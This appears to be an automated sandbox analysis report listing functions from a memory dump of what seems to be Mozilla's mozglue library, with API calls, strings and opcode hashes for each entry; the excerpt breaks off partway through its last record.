Instruction Fuzzy Hash: 154169B5A00605CFCB04CFA9C884A9ABBF6FF88314B554569D946ABB50D735FC00CB90

Function 6C52C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C52C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C52C842

Part of subcall function 6C52CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C54B5EB,00000000), ref: 6C52CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C52C863
std::_Facet_Register.LIBCPMT ref: 6C52C875

Part of subcall function 6C50B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C54B636,?), ref: 6C50B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C52C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52C8BC

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction ID: 4f21f01d946af3d6a6d9ec76b2d93ff4968205e560a4f3b5376441739d1ddb33
Opcode Fuzzy Hash: 62afe71cc9e1b37af22af04295ccaeab7e4c0e08904a37e60dea09e7fe26eef7
Instruction Fuzzy Hash: 16116375B002059BDB00EFA4CCC99AE7BB5EF89354B510529E50697381DB34AD05CB95

Function 6C50F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C50F480

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

CloseHandle.KERNEL32(00000000), ref: 6C50F555

Part of subcall function 6C4E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4E1248,6C4E1248,?), ref: 6C4E14C9
Part of subcall function 6C4E14B0: memcpy.VCRUNTIME140(?,6C4E1248,00000000,?,6C4E1248,?), ref: 6C4E14EF

Part of subcall function 6C4DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4DEEE3

CreateFileW.KERNEL32 ref: 6C50F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C50F523

Strings

\oleacc.dll, xrefs: 6C50F4CB

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction ID: f798696a4fc2edf70b3a1a4c16497283fa4c4f933fbf445278901920f5fddf6c
Opcode Fuzzy Hash: 5fd8084d43a5d5002a2983aae65c4dd99338ef2ff50ee85dba1f1301f7062b84
Instruction Fuzzy Hash: 07418D307087109FE721DF68DC84A9AB7F4AF84318F504B1CF995C7651EB70E9498B96

Function 6C51E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51E04F

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C51E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C51E057

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction ID: bf174e532cc778a8d5e57cda8e8fd2770b051bae2e51eae2d10092d3ab60d5c3
Opcode Fuzzy Hash: d5061c0a5966246691690fe28512916b084b622bf8bb8238117af29b7deab1eb
Instruction Fuzzy Hash: F321B078B051088FEF04EF65DC5CAAEB7B5AF89308F550418E80A97F40DB71AD09C7A5

Function 6C5374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C537526
__Init_thread_footer.LIBCMT ref: 6C537566
__Init_thread_footer.LIBCMT ref: 6C537597

Strings

UnmapViewOfFile2, xrefs: 6C537552
kernel32.dll, xrefs: 6C537557

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction ID: 745b18a93b2359c97e875a0c83a31b0e8d79962d6e49d3f1a8149276466aeec5
Opcode Fuzzy Hash: e71ee9dc13ef5fa8e3849e144be5c3274d87f0d3100dcbbb21c0967ab8b1d5cb
Instruction Fuzzy Hash: 99212831F00511EFDB18CFE98D14E5E3775EB863A4B86162AD40987F80E730B8118569

Function 6C53A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55F770,-00000001,?,6C54E330,?,6C4FBDF7), ref: 6C53A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4FBDF7), ref: 6C53A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4FBDF7), ref: 6C53A7E4
LeaveCriticalSection.KERNEL32(6C55F770), ref: 6C53A80A

Strings

accelerator.dll, xrefs: 6C53A7BF

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction ID: 956dd84789e32b0ffdd92004aa83c49fec7b2ee7a6c631b5437086f001d161c4
Opcode Fuzzy Hash: 73a03d1cada873826aeeac8464a7060d1fb057c042669e84e2df763f3f096922
Instruction Fuzzy Hash: FE018FB07102149F9F08DF99DCC8D157BB8FB89315746816AE8098B712EB70A804CBA0

Function 6C5375B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53748B,?), ref: 6C5375B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5375D7
FreeLibrary.KERNEL32(?,6C53748B,?), ref: 6C5375EC

Strings

RtlNtStatusToDosError, xrefs: 6C5375D1
ntdll.dll, xrefs: 6C5375B3

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction ID: 5c0adc82cc7fb5d61c908dcc04c6610cd1c320c0ffd6f0d6c1283ca33d4bdd10
Opcode Fuzzy Hash: 0591734234b9636b575dc3b460abbd0a39adf2978f23c62c763fcd7cb99cd6f0
Instruction Fuzzy Hash: D1E0B671710301EFEF007FA2DD4C7027BF8EB46258FA65226A905D1681EBB09051CF29

Function 6C537600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C537592), ref: 6C537608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C537627
FreeLibrary.KERNEL32(?,6C537592), ref: 6C53763C

Strings

NtUnmapViewOfSection, xrefs: 6C537621
ntdll.dll, xrefs: 6C537603

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction ID: 65755b56d8076022622ef2144bc2363b8c78fbb82b7a2d1137df784a73eb584c
Opcode Fuzzy Hash: 689d0396a03adb365fc68e4c82f4d5da44cb7cd0db16549499e602e002051000
Instruction Fuzzy Hash: 87E092B0720301AFDF007FA69D087057EB8E71A299F965616E90AD2640E7B090248B1C

Function 6C53BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C53BE49), ref: 6C53BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C53BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C53BE49), ref: 6C53BF38
RtlReAllocateHeap.NTDLL ref: 6C53BF83
RtlFreeHeap.NTDLL(6C53BE49,00000000), ref: 6C53BFA6

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction ID: 16717d4d26202d81825212bbf97547d6f3c62856ff5a428a738352c0b5662417
Opcode Fuzzy Hash: 49f2e804c9a3c3510427b04419429b6f48285eec17057b2fc14f1da88446e777
Instruction Fuzzy Hash: BC518271A006258FE714DF69CD80BAAB3B2FFC4314F299639D559A7B54E730F9068B80

Function 6C528E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528EBF
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?,6C54D734), ref: 6C528F46
free.MOZGLUE(?,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C51B58D,?,?,?,?,?,?,?,6C54D734,?,?,?), ref: 6C528F8F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction ID: 689a4831a66a16739716efcfa1301aee204cfb39536d50dacfa37d597805b0be
Opcode Fuzzy Hash: ae4689400f638478001d750831dcfa78db33ddcab68d55cf51ed245413c9b6e1
Instruction Fuzzy Hash: 0E5182B2A012168FEB24CF94DC8076E77F2BF49318F19056AD516AB780E735F905CB92

Function 6C5227E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52289A
free.MOZGLUE(?,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C5228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C522910
free.MOZGLUE(00000001,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C522620,?,?,?,6C5160AA,6C515FCB,6C5179A3), ref: 6C52294E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction ID: ff546cb7c17d99d39c1e779d3c30acaf1836bba3a5a8869d0ec7b1e7d1ee94d5
Opcode Fuzzy Hash: 854ae2860b35099ca0660c5113bdb02f875f9db9dee288bffbc5e8cc7a818ed1
Instruction Fuzzy Hash: F64110B9A103068FEB10CF68DC8476A73F6EB45328F244938D516EBB80E735E944CB91

Function 6C4DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4DD139

Strings

MOZ_CRASH(), xrefs: 6C4DD187

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction ID: 167fc80a2b7b8d8a0cf475c139beeca8e33e8583a2c0ead3419f0f7a7ec106c7
Opcode Fuzzy Hash: a8530aee0ecf05ab37803339d358a7b0c174935a6dd3c74c6a865975fe689a33
Instruction Fuzzy Hash: BB41E331B113164FCF05DE7C8CA5B6A76B0EB4A714F560239E918E7784D7B5AC018BE8

Function 6C4D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4D4F1E

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction ID: 6ca62c44d9a54dcdcd9a6c2cf76d8dc2991148e088ad49d06825426de5a3f70d
Opcode Fuzzy Hash: 79be8b84f523bb00a539d6a22d893c0a94f5286d4889ef339491120aab50b3f7
Instruction Fuzzy Hash: 8541BC71604702AFC701DF68C890E5BBBE4BF89394F119A2DE46587750DB30F918CB82

Function 6C4E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E15E7
free.MOZGLUE(?,?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4E152B,?,?,?,?,6C4E1248,?), ref: 6C4E1637

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction ID: 147563ab42d7d810016601a66d8af2efe10790fe18d82ee7b111d20eaff458b0
Opcode Fuzzy Hash: 89178945ccdb95cce6f92f6ac981c79c4081e0fa3befeaf35fa0f78a8ccb0c0f
Instruction Fuzzy Hash: 2631D8B1A401148BC714CF78D850C6E77A5BF893757260B2DE827DBBD5EB30D9058791

Function 6C53AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AD9D

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE01
GetLastError.KERNEL32(?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C54E330,?,6C4FC059), ref: 6C53AE3D

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction ID: 1490efe5bec77162608f5c918cde4a67f56791fff20e090490494ed7465df80b
Opcode Fuzzy Hash: b8fc79826dd599147d36e533bb7ec83ffc30963bf8c984e8444590e27ab6b040
Instruction Fuzzy Hash: 473124B1A002159FDB14DF758C44AABBBF8EF89614F55882DE85AD7740F734E804CBA4

Function 6C535EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C54DCA0,?,?,?,6C50E8B5,00000000), ref: 6C535F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C50E8B5,00000000), ref: 6C535F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C50E8B5,00000000), ref: 6C535F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C50E8B5,00000000), ref: 6C535FD6

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 85d2d30e23950c8811fd6df85be146e47501947b56bfda0660b11a581d07ddd4
Instruction ID: 7261b9bff629a9c8534f5cc04bd19db76d78ac71bd9b67131b90046aadc4df71
